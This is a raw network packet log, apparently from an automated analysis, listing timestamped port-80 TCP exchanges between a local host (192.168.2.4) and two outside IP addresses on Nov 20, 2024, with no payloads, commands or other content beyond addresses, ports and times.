Nov 20, 2024 04:08:17.138659000 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138700962 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138700962 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138767958 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138812065 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138911963 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138948917 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138957977 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138962984 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.138988972 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.138999939 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139012098 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139035940 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139043093 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139071941 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139077902 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139113903 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139142990 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139157057 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139182091 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139192104 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139204025 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139230013 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139235020 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139272928 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139523983 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139558077 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139580965 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139596939 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139610052 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139645100 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139661074 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139681101 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139688015 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139724970 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139765024 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139799118 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139808893 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139836073 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139842987 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139882088 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139908075 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139940977 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139950037 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.139976025 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.139988899 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140012026 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140022039 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140053988 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140316963 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140368938 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140371084 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140407085 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140419960 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140440941 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140467882 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140475988 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140490055 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140511990 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140522003 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140547991 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140563965 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140583038 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140598059 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140619993 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140633106 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140655994 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140674114 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140690088 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.140697002 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.140743971 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145174026 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145229101 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145283937 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145322084 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145329952 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145359039 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145370007 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145395041 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145407915 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145452023 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145467043 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145498037 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145507097 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145545006 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145565987 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145586967 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145591021 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145625114 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145637035 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145670891 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145683050 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145716906 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145725012 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145766020 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145797968 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145833969 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145843983 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145884037 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145884991 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145921946 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145921946 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.145977974 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.145986080 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146040916 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146054029 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146084070 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146106958 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.146136999 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146173000 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146181107 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.146208048 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146240950 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146255016 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.146276951 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146311045 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146326065 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.146351099 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146389961 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146398067 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.146424055 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146460056 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146471977 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.146509886 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146543026 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146558046 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.146578074 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146612883 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.146625996 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.146661997 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146697044 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146708012 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146729946 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146738052 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146766901 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146779060 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146802902 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146807909 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146837950 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146846056 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146873951 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146888018 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146910906 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146920919 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146945000 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146955013 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.146981955 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.146989107 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.147021055 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.147026062 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.147063017 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.150070906 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150120020 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150125027 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.150156975 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150204897 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.150208950 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150264025 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150298119 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150317907 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.150351048 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150381088 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150399923 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.150414944 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150451899 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150495052 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.150516033 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150551081 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150571108 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.150584936 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150619984 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150631905 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.150655985 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.150703907 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.152344942 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152420044 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152456999 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152477980 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.152493000 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152529001 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152545929 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.152602911 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152637959 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152672052 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.152734995 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152771950 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152789116 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.152808905 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152846098 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152857065 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.152879953 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152928114 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.152936935 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.152966976 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.153012991 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.153847933 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.153896093 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.153930902 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.153953075 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.153985977 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.154021025 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.154038906 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.154058933 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.154094934 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.154122114 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.154134989 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.154165030 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.154186964 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.157367945 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.157427073 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.157427073 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.157459974 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.157495975 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.157512903 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.157551050 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.157586098 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.157607079 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.157620907 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.157656908 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.157670021 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.158272028 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158323050 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.158327103 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158359051 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158406973 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.158423901 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158459902 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158493042 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158526897 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158559084 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.158564091 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158581018 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.158818007 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158879995 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.158883095 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158940077 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158972979 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.158986092 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.159008980 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.159043074 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.159077883 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.159106970 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.159122944 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.159126997 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.161024094 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.161041021 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.161055088 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.161082983 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.161106110 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.161111116 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.161145926 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.161181927 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.161196947 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.161217928 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.161257029 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.161309004 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.162308931 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.162403107 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.162432909 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.162467957 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.162487030 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.162534952 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.162560940 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.162595987 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.162630081 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.162642956 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.162669897 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.162703037 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.162715912 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.162735939 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.162781954 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.164427996 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164463043 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164501905 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164520979 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.164535046 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164582968 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.164589882 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164625883 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164669037 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.164679050 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164709091 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164758921 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.164761066 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164798975 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164832115 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164854050 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.164866924 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164902925 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164922953 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.164938927 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164972067 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.164994955 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.165008068 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.165061951 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.170063972 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.184578896 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.184622049 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.184638977 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.184663057 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.225795031 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.225980043 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226016045 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226068020 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226100922 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226114035 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.226135015 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226150990 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.226170063 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226222038 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226277113 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226277113 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.226313114 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226365089 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.226365089 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226402998 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226437092 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226460934 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.226496935 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226547956 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.226551056 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226620913 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.226653099 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226686954 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.226690054 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226725101 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226742029 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.226758003 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226793051 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226804972 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.226823092 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226855993 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226866007 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.226891041 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226923943 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226937056 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.226959944 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226994038 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.226999044 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.227027893 CET	80	62476	185.215.113.16	192.168.2.4
